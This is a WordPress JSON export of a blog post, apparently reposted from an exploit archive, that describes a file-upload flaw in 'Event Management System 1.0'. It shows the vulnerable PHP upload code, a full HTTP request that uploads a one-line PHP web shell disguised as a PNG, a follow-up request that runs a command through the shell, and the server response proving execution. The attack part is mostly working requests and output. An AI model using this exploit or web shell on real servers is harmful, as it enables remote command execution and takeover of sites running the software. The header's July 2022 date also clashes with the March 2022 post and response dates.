{"id":22109,"date":"2022-03-24T19:30:03","date_gmt":"2022-03-24T15:30:03","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166439\/ems10-shell.txt"},"modified":"2022-03-28T09:42:08","modified_gmt":"2022-03-28T05:12:08","slug":"event-management-system-1-0-shell-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/event-management-system-1-0-shell-upload\/","title":{"rendered":"Event Management System 1.0 Shell Upload"},"content":{"rendered":"<p dir=\"ltr\"># Title: Event Management System 1.0 Shell Upload<br \/>\n# Author: Hejap Zairy<br \/>\n# Date: 24.07.2022<br \/>\n# Vendor: https:\/\/www.sourcecodester.com\/php\/15238\/event-management-system-project-php-source-code.html<br \/>\n# Software: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/Royal%20Event.zip<br \/>\n# Reference: https:\/\/github.com\/Matrix07ksa<br \/>\n# Tested on: Windows, MySQL, Apache<\/p>\n<p dir=\"ltr\">registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw<\/p>\n<p dir=\"ltr\">#vulnerability Code php<br \/>\nNeeds more filtering to upload profile files<\/p>\n<p dir=\"ltr\">php&#8220;`<br \/>\nif(isset($_POST[&#8216;submit&#8217;]))<br \/>\n{<br \/>\n$adminid=$_SESSION[&#8216;odmsaid&#8217;];<br \/>\n$productname=$_POST[&#8216;productName&#8217;];<br \/>\n$productimage1=$_FILES[&#8220;productimage1&#8221;][&#8220;name&#8221;];<br \/>\nmove_uploaded_file($_FILES[&#8220;productimage1&#8221;][&#8220;tmp_name&#8221;],&#8221;assets\/img\/profileimages\/&#8221;.$_FILES[&#8220;productimage1&#8221;][&#8220;name&#8221;]);<br \/>\n$sql=&#8221;update tbladmin set Photo=:productimage1 where ID=:aid&#8221;;<br \/>\n$query = $dbh-&gt;prepare($sql);<br \/>\n$query-&gt;bindParam(&#8216;:productimage1&#8217;,$productimage1,PDO::PARAM_STR);<br \/>\n$query-&gt;bindParam(&#8216;:aid&#8217;,$pid,PDO::PARAM_STR);<br \/>\n$query-&gt;execute();<br \/>\n$_SESSION[&#8216;msg&#8217;]=&#8221;profile Image Updated Successfully !!&#8221;;<br \/>\n}<br \/>\n?&gt;<br \/>\n&#8220;`<\/p>\n<p dir=\"ltr\">[+] Payload POST<\/p>\n<p dir=\"ltr\">&#8220;`<br \/>\nPOST \/scbs\/?p=manage_account HTTP\/1.1<br \/>\nHost: 0day.gov<br \/>\nCookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu<br \/>\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0<br \/>\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8<br \/>\nAccept-Language: en-US,en;q=0.5<br \/>\nAccept-Encoding: gzip, deflate<br \/>\nContent-Type: multipart\/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;409902128312379197203124536738<br \/>\nContent-Length: 882<br \/>\nOrigin: https:\/\/0day.gov<br \/>\nReferer: https:\/\/0day.gov\/scbs\/<br \/>\nUpgrade-Insecure-Requests: 1<br \/>\nTe: trailers<br \/>\nConnection: close<\/p>\n<p dir=\"ltr\">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;409902128312379197203124536738<br \/>\nContent-Disposition: form-data; name=&#8221;productName&#8221;<br \/>\nHejap Zairy<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;409902128312379197203124536738<br \/>\nContent-Disposition: form-data; name=&#8221;productimage1&#8243;; filename=&#8221;0day_hejap.php&#8221;<br \/>\nContent-Type: image\/png<\/p>\n<p dir=\"ltr\">&lt;?=`$_GET[515]`?&gt;<\/p>\n<p dir=\"ltr\">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;409902128312379197203124536738<br \/>\nContent-Disposition: form-data; name=&#8221;submit&#8221;<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;409902128312379197203124536738&#8211;<br \/>\n&#8220;`<\/p>\n<p dir=\"ltr\">#Status: CRITICAL<\/p>\n<p dir=\"ltr\">[+] Payload GET<\/p>\n<p dir=\"ltr\">&#8220;`<br \/>\nGET \/Royal%20Event\/royal_event\/assets\/img\/profileimages\/0day_hejap.php?515=echo+Hejap+Zairy HTTP\/1.1<\/p>\n<p dir=\"ltr\">Host: 0day.gov<br \/>\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0<br \/>\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8<br \/>\nAccept-Language: en-US,en;q=0.5<br \/>\nAccept-Encoding: gzip, deflate<br \/>\nConnection: close<br \/>\nCookie: PHPSESSID=pqbgvck1gedt9if6p582nt9a41<br \/>\nUpgrade-Insecure-Requests: 1<\/p>\n<p dir=\"ltr\">&#8220;`<\/p>\n<p dir=\"ltr\">#Response<br \/>\n&#8220;`<br \/>\nHTTP\/1.1 200 OK<br \/>\nDate: Thu, 24 Mar 2022 11:15:56 GMT<br \/>\nServer: Apache\/2.4.52 (Win64) OpenSSL\/1.1.1m PHP\/7.4.27<br \/>\nX-Powered-By: PHP\/7.4.27<br \/>\nContent-Length: 12<br \/>\nConnection: close<br \/>\nContent-Type: text\/html; charset=UTF-8<\/p>\n<p dir=\"ltr\">Hejap Zairy<br \/>\n&#8220;`<\/p>\n<p dir=\"ltr\"># Description:<br \/>\nThe file upload bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers.<\/p>\n<p dir=\"ltr\"># Proof and Exploit:<\/p>\n<blockquote class=\"imgur-embed-pub\" lang=\"en\" data-id=\"Q85LFQy\"><p><a href=\"https:\/\/imgur.com\/Q85LFQy\" target=\"_blank\" rel=\"noopener\">View post on imgur.com<\/a><\/p><\/blockquote>\n<p><script async src=\"\/\/s.imgur.com\/min\/embed.js\" charset=\"utf-8\"><\/script><br \/>\nhttps:\/\/i.imgur.com\/w7B8uAf.png<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Title: Event Management System 1.0 Shell Upload # Author: Hejap Zairy # Date: 24.07.2022 # Vendor: https:\/\/www.sourcecodester.com\/php\/15238\/event-management-system-project-php-source-code.html # Software: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/Royal%20Event.zip # Reference: https:\/\/github.com\/Matrix07ksa # Tested on: Windows, MySQL, Apache registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw #vulnerability Code php &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-22109","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/22109","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=22109"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/22109\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=22109"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=22109"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=22109"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}